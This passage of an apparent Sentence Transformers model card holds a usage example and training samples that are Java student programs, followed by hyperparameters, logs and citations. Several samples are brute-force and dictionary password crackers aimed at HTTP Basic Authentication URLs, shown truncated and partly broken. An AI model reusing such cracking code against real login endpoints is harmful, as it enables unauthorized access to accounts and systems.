encodedData;\n\n try\n {\n URL url = new URL (urlToCrack);\n\n \n\n dataToEncode = myUsername + ":" + passwordToCrack;\n\n \n\n encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n URLConnection urlCon = url.openConnection();\n urlCon.setRequestProperty ("Authorization", " " + encodedData);\n\n InputStream is = (InputStream)urlCon.getInputStream();\n InputStreamReader isr = new InputStreamReader(is);\n BufferedReader bf = new BufferedReader (isr);\n\n \n {\n data = bf.readLine();\n System.out.println(data);\n displayPassword(passwordToCrack);\n } while (data != null);\n }\n catch (IOException e)\n { }\n }\n\n\n public void displayPassword(String foundPassword)\n {\n System.out.println("\\nThe cracked password is : " + foundPassword);\n System.exit(0);\n }\n}\n\n\n', '\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String strFilepath;\n private String strCurrWord;\n private File fWordFile;\n private BufferedReader in;\n \n \n public PasswordFile(String filepath) {\n strFilepath = filepath;\n try {\n fWordFile = new File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n }\n catch(Exception e)\n {\n System.out.println("Could not open file " + strFilepath);\n }\n }\n \n String getPassword() {\n return strCurrWord;\n }\n \n String getNextPassword() {\n try {\n strCurrWord = in.readLine();\n \n \n \n }\n catch (Exception e)\n {\n \n return null;\n }\n \n return strCurrWord;\n }\n \n}\n', '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n \n static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n \n private int indices[] = {0,0,0};\n \n private String url = null;\n\n \n public BruteForce(String url) {\n this.url = url;\n\n }\n \n private int attempts = 0;\n private boolean stopGen = false;\n \n public String getNextPassword(){\n String nextPassword = "";\n for(int i = 0; i ");\n System.exit(1);\n }\n\n BruteForce bruteForce1 = new BruteForce(args[0]);\n try{\n Calendar cal1=null, cal2=null;\n cal1 = Calendar.getInstance();\n System.out.println("Cracking started at: " + cal1.getTime().toString());\n String password = bruteForce1.crackPassword(args[1]);\n if(password != null)\n System.out.println("\\nPassword is: "+password);\n else\n System.out.println("\\nPassword could not retrieved!");\n cal2 = Calendar.getInstance();\n System.out.println("Cracking finished at: " + cal2.getTime().toString());\n Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n System.out.println("Total Time taken crack: " + (d3.getTime())/1000 + " sec");\n System.out.println("Total attempts : " + bruteForce1.getAttempts());\n\n }catch(MalformedURLException mue){\n mue.printStackTrace();\n }\n\n catch(IOException ioe){\n ioe.printStackTrace();\n }\n }\n}', ] embeddings = model.encode(sentences) print(embeddings.shape) # [3, 768] # Get the similarity scores for the embeddings similarities = model.similarity(embeddings, embeddings) print(similarities.shape) # [3, 3] ``` ## Training Details ### Training Dataset #### Unnamed Dataset * Size: 33,411 training samples * Columns: sentence_0, sentence_1, and label * Approximate statistics based on the first 1000 samples: | | sentence_0 | sentence_1 | label | |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------| | type | string | string | int | | details |
  • min: 61 tokens
  • mean: 471.36 tokens
  • max: 512 tokens
|
  • min: 61 tokens
  • mean: 491.01 tokens
  • max: 512 tokens
|
  • 0: ~99.50%
  • 1: ~0.50%
| * Samples: | sentence_0 | sentence_1 | label | |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------| |
public class ImageFile
{
private String imageUrl;
private int imageSize;

public ImageFile(String url, int size)
{
imageUrl=url;
imageSize=size;
}

public String getImageUrl()
{
return imageUrl;
}

public int getImageSize()
{
return imageSize;
}
}
|



import java.net.*;
import java.io.*;
import java.util.Date;

public class MyMail implements Serializable
{



public static final int SMTPPort = 25;


public static final char successPrefix = '2';


public static final char morePrefix = '3';


public static final char failurePrefix = '4';




private static final String CRLF = "\r\n";


private String mailFrom = "";


private String mailTo = "";


private String messageSubject = "";


private String messageBody = "";


private String mailServer = "";


public MyMail ()
{

super();
}


public MyMail ( String serverName)
{

super();


mailServer = serverName;
}


public String getFrom()
{
return mailFrom;
}


public String getTo()
{
return mailTo;
}


public String getSubject()
{
return messageSubject;
}


public String getMessage()
{
return messageBody;
}


public String getMailServer()
{
return mailServer;
}


public void setFrom( String from )
{

mailFr...
| 0 | |
import java.util.*;
import java.net.*;
import java.io.*;
public class WatchDog
{
private Vector init;
public WatchDog()
{
try
{
Runtime run = Runtime.getRuntime();
String command_line = "lynx http://www.cs.rmit.edu./students/ -dump";
Process result = run.exec(command_line);
BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));
String inputLine;
init = new Vector();
while ((inputLine = in.readLine()) != null)
{
init.addElement(inputLine);
}

}catch(Exception e)
{
}
}
public static void main(String args[])
{
WatchDog wd = new WatchDog();
wd.nextRead();
}

public void nextRead()
{
while(true)
{
ScheduleTask sch = new ScheduleTask(init);
if(sch.getFlag()!=0)
{
System.out.println("change happen");
WatchDog wd = new WatchDog();
wd.nextRead();
}

}
}
}
|

import java.net.*;
import java.io.*;
import java.util.*;

public class Dictionary{

private static URL location;
private static String user;
private BufferedReader input;
private static BufferedReader dictionary;
private int maxLetters = 3;



public Dictionary() {

Authenticator.setDefault(new MyAuthenticator ());

startTime = System.currentTimeMillis();
boolean passwordMatched = false;
while (!passwordMatched) {
try {
input = new BufferedReader(new InputStreamReader(location.openStream()));
String line = input.readLine();
while (line != null) {
System.out.println(line);
line = input.readLine();
}
input.close();
passwordMatched = true;
}
catch (ProtocolException e)
{


}
catch (ConnectException e) {
System.out.println("Failed connect");
}
catch (IOException e) ...
| 0 | |
import java.util.*;
import java.net.*;
import java.io.*;
public class ScheduleTask extends Thread
{

private int flag=0,count1=0,count2=0;
private Vector change;
public ScheduleTask(Vector init)
{
try
{

Runtime run = Runtime.getRuntime();
String command_line = "lynx http://yallara.cs.rmit.edu./~/index.html -dump";
Process result = run.exec(command_line);
BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));
String inputLine;
Vector newVector = new Vector();
change = new Vector();
while ((inputLine = in.readLine()) != null)
{
newVector.addElement(inputLine);
}
if(init.size()>newVector.size())
{
for(int k=0;k {
if(!newVector.elementAt(k).toString().equals(init.elementAt(k).toString()))
ch...
| import java.io.*;
import java.net.*;
import java.util.*;


public class Dictionary
{
public static void main (String args[])
{


Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double startTime = now.getTime();

String password=getPassword(startTime);
System.out.println("The password is " + password);
}

public static String getPassword(double startTime)
{
String password="";
int requests=0;

try
{

FileReader fRead = new FileReader("/usr/share/lib/dict/words");
BufferedReader buf = new BufferedReader(fRead);

password=buf.readLine();

while (password != null)
{

if (password.length()<=3)
{
requests++;
if (testPassword(password, startTime, requests))
return password;
}

password = buf.readLine();

}
}
catch (IOException ioe)
{

}

return password;
}

private static boolean testPassword(String password, double startTime, int requests)
{
try
{


U...
| 0 | * Loss: [BatchAllTripletLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss) ### Training Hyperparameters #### Non-Default Hyperparameters - `per_device_train_batch_size`: 16 - `per_device_eval_batch_size`: 16 - `num_train_epochs`: 1 - `multi_dataset_batch_sampler`: round_robin #### All Hyperparameters
Click to expand - `overwrite_output_dir`: False - `do_predict`: False - `eval_strategy`: no - `prediction_loss_only`: True - `per_device_train_batch_size`: 16 - `per_device_eval_batch_size`: 16 - `per_gpu_train_batch_size`: None - `per_gpu_eval_batch_size`: None - `gradient_accumulation_steps`: 1 - `eval_accumulation_steps`: None - `torch_empty_cache_steps`: None - `learning_rate`: 5e-05 - `weight_decay`: 0.0 - `adam_beta1`: 0.9 - `adam_beta2`: 0.999 - `adam_epsilon`: 1e-08 - `max_grad_norm`: 1 - `num_train_epochs`: 1 - `max_steps`: -1 - `lr_scheduler_type`: linear - `lr_scheduler_kwargs`: {} - `warmup_ratio`: 0.0 - `warmup_steps`: 0 - `log_level`: passive - `log_level_replica`: warning - `log_on_each_node`: True - `logging_nan_inf_filter`: True - `save_safetensors`: True - `save_on_each_node`: False - `save_only_model`: False - `restore_callback_states_from_checkpoint`: False - `no_cuda`: False - `use_cpu`: False - `use_mps_device`: False - `seed`: 42 - `data_seed`: None - `jit_mode_eval`: False - `use_ipex`: False - `bf16`: False - `fp16`: False - `fp16_opt_level`: O1 - `half_precision_backend`: auto - `bf16_full_eval`: False - `fp16_full_eval`: False - `tf32`: None - `local_rank`: 0 - `ddp_backend`: None - `tpu_num_cores`: None - `tpu_metrics_debug`: False - `debug`: [] - `dataloader_drop_last`: False - `dataloader_num_workers`: 0 - `dataloader_prefetch_factor`: None - `past_index`: -1 - `disable_tqdm`: False - `remove_unused_columns`: True - `label_names`: None - `load_best_model_at_end`: False - `ignore_data_skip`: False - `fsdp`: [] - `fsdp_min_num_params`: 0 - `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} - `fsdp_transformer_layer_cls_to_wrap`: None - `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} - `deepspeed`: None - `label_smoothing_factor`: 0.0 - `optim`: adamw_torch - `optim_args`: None - `adafactor`: False - `group_by_length`: False - `length_column_name`: length - `ddp_find_unused_parameters`: None - `ddp_bucket_cap_mb`: None - `ddp_broadcast_buffers`: False - `dataloader_pin_memory`: True - `dataloader_persistent_workers`: False - `skip_memory_metrics`: True - `use_legacy_prediction_loop`: False - `push_to_hub`: False - `resume_from_checkpoint`: None - `hub_model_id`: None - `hub_strategy`: every_save - `hub_private_repo`: None - `hub_always_push`: False - `gradient_checkpointing`: False - `gradient_checkpointing_kwargs`: None - `include_inputs_for_metrics`: False - `include_for_metrics`: [] - `eval_do_concat_batches`: True - `fp16_backend`: auto - `push_to_hub_model_id`: None - `push_to_hub_organization`: None - `mp_parameters`: - `auto_find_batch_size`: False - `full_determinism`: False - `torchdynamo`: None - `ray_scope`: last - `ddp_timeout`: 1800 - `torch_compile`: False - `torch_compile_backend`: None - `torch_compile_mode`: None - `include_tokens_per_second`: False - `include_num_input_tokens_seen`: False - `neftune_noise_alpha`: None - `optim_target_modules`: None - `batch_eval_metrics`: False - `eval_on_start`: False - `use_liger_kernel`: False - `eval_use_gather_object`: False - `average_tokens_across_devices`: False - `prompts`: None - `batch_sampler`: batch_sampler - `multi_dataset_batch_sampler`: round_robin
### Training Logs | Epoch | Step | Training Loss | |:------:|:----:|:-------------:| | 0.2393 | 500 | 0.1875 | | 0.4787 | 1000 | 0.1815 | | 0.7180 | 1500 | 0.24 | | 0.9574 | 2000 | 0.1596 | ### Framework Versions - Python: 3.11.13 - Sentence Transformers: 4.1.0 - Transformers: 4.52.4 - PyTorch: 2.6.0+cu124 - Accelerate: 1.7.0 - Datasets: 3.6.0 - Tokenizers: 0.21.1 ## Citation ### BibTeX #### Sentence Transformers ```bibtex @inproceedings{reimers-2019-sentence-bert, title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", author = "Reimers, Nils and Gurevych, Iryna", booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", month = "11", year = "2019", publisher = "Association for Computational Linguistics", url = "https://arxiv.org/abs/1908.10084", } ``` #### BatchAllTripletLoss ```bibtex @misc{hermans2017defense, title={In Defense of the Triplet Loss for Person Re-Identification}, author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, year={2017}, eprint={1703.07737}, archivePrefix={arXiv}, primaryClass={cs.CV} } ```